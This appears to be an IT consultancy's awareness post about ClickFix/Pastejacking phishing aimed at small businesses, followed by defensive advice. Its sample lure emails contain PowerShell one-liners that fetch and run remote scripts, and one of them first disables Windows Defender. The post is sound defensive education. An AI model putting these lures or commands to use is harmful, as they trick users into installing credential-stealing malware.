One of the fastest-growing cyberattacks targeting small businesses right now does not require any hacking skill to pull off — it just requires tricking one of your employees into pressing three keys.
Known as ClickFix or Pastejacking, the attack works like this: a criminal sends a convincing email (or creates a fake website) that tells the user they need to "fix" a problem — verify their identity, view a document, complete a CAPTCHA, or update software. The instructions then ask the user to:
- Press Windows key + R to open the Run dialog (or open PowerShell directly)
- Paste a command that was secretly copied to their clipboard
- Press Enter
That one keystroke silently installs malware on the machine — often a credential stealer called Lumma Stealer that harvests every saved password, banking credential, email login, and business account from the device.
Real Examples Being Sent Right Now
Here are actual scenarios that businesses in our region have encountered:
Example 1 — The Fake Invoice Email
An employee receives an email that looks like it is from QuickBooks, DocuSign, or their bank:
Subject: Action Required — Your Invoice Could Not Be Displayed
We were unable to render your invoice in your browser. To view it securely, please follow these steps:
- Press Windows + R on your keyboard
- In the box that appears, paste the following and press Enter:
powershell -w hidden -c "iex(iwr('https://update-viewer.com/fix.ps1').Content)"This will launch our secure document viewer. The process takes about 10 seconds.
That command downloads and silently runs a malicious script from the attacker's server — completely hidden from the user.
Example 2 — The Fake CAPTCHA (ClickFix)
An employee clicks a link in an email and lands on a page that looks like a normal website with a CAPTCHA. Instead of clicking images of traffic lights, the page says:
Verify you are human Our automated check has detected unusual activity. To confirm you are not a robot:
- Press Windows + R
- Press CTRL+V and then Enter
(The page has already silently copied the malicious command to the user's clipboard)
The user never sees the command. They just follow simple instructions and think they passed a security check.
Example 3 — The Fake IT Department Email
Subject: URGENT — Security Update Required for Your Workstation
Our monitoring system has detected that your computer is missing a critical security patch. Failure to apply this update within 24 hours may result in account suspension.
To apply the update:
- Click Start and search for PowerShell
- Right-click PowerShell and select Run as administrator
- Copy and paste the following command and press Enter:
Set-MpPreference -DisableRealtimeMonitoring $true; iex(New-Object Net.WebClient).DownloadString('http://patch-deploy.net/update.ps1')
This command disables Windows Defender and then downloads and runs a malicious script — all in one line.
What Happens After You Run the Command?
Depending on the malware delivered, attackers can:
- Steal every saved password from Chrome, Edge, Firefox, and password managers
- Access your email and Microsoft 365 account — reading and forwarding messages without your knowledge
- Drain business bank accounts by logging into your banking portal
- Install ransomware that encrypts all your files and demands payment
- Access your entire network — not just the infected computer
- Steal customer and employee data, creating a legal liability
All of this can happen within minutes of running the command. By the time anyone notices, the damage is done.
How to Protect Your Business
1. Train Every Employee — Right Now
The single most important protection is awareness. Every person in your business needs to know this simple rule:
No legitimate software, IT department, bank, or service will EVER ask you to open PowerShell and paste a command.
If any email, website, or pop-up asks you to do this — stop immediately and call your IT provider.
2. Restrict PowerShell Access
Most employees never need to use PowerShell. Your IT team can restrict who is allowed to run it using Windows Group Policy — so even if an employee tries to paste a command, it will be blocked.
3. Enable Application Control Policies
Tools like Windows Defender Application Control (WDAC) can prevent unsigned or unknown scripts from running entirely.
4. Use a DNS Filter
DNS filtering blocks connections to known malicious domains at the network level — even if a script runs, it cannot phone home to the attacker's server.
5. Multi-Factor Authentication on Everything
Even if a credential stealer captures your passwords, MFA prevents attackers from actually logging in with them.
6. Endpoint Detection and Response (EDR)
Modern EDR tools detect suspicious PowerShell activity in real time and can quarantine the machine before the malware completes its work.
What to Do If It Already Happened
If someone in your organization ran one of these commands:
- Disconnect the computer from the internet immediately (unplug the ethernet cable or turn off Wi-Fi)
- Do NOT turn the computer off — this can destroy forensic evidence
- Change all passwords from a different, uninfected device — prioritize email, banking, and Microsoft 365
- Call your IT provider immediately — do not wait
- Notify your bank if any financial accounts may have been accessed
Prosen Consulting Can Help
We help Northeast Ohio businesses implement the exact defenses that stop these attacks — PowerShell restrictions, DNS filtering, EDR, and employee security training. If you are unsure whether your business is protected, contact us for a free cybersecurity assessment.
We serve businesses across Mentor, Cleveland, Willoughby, Euclid, Eastlake, Painesville, and the greater Lake County area.
References: Saptang Labs ClickFix Analysis, Vermont Federal Credit Union Security Blog, The Hacker News, Reddit r/phishing community reports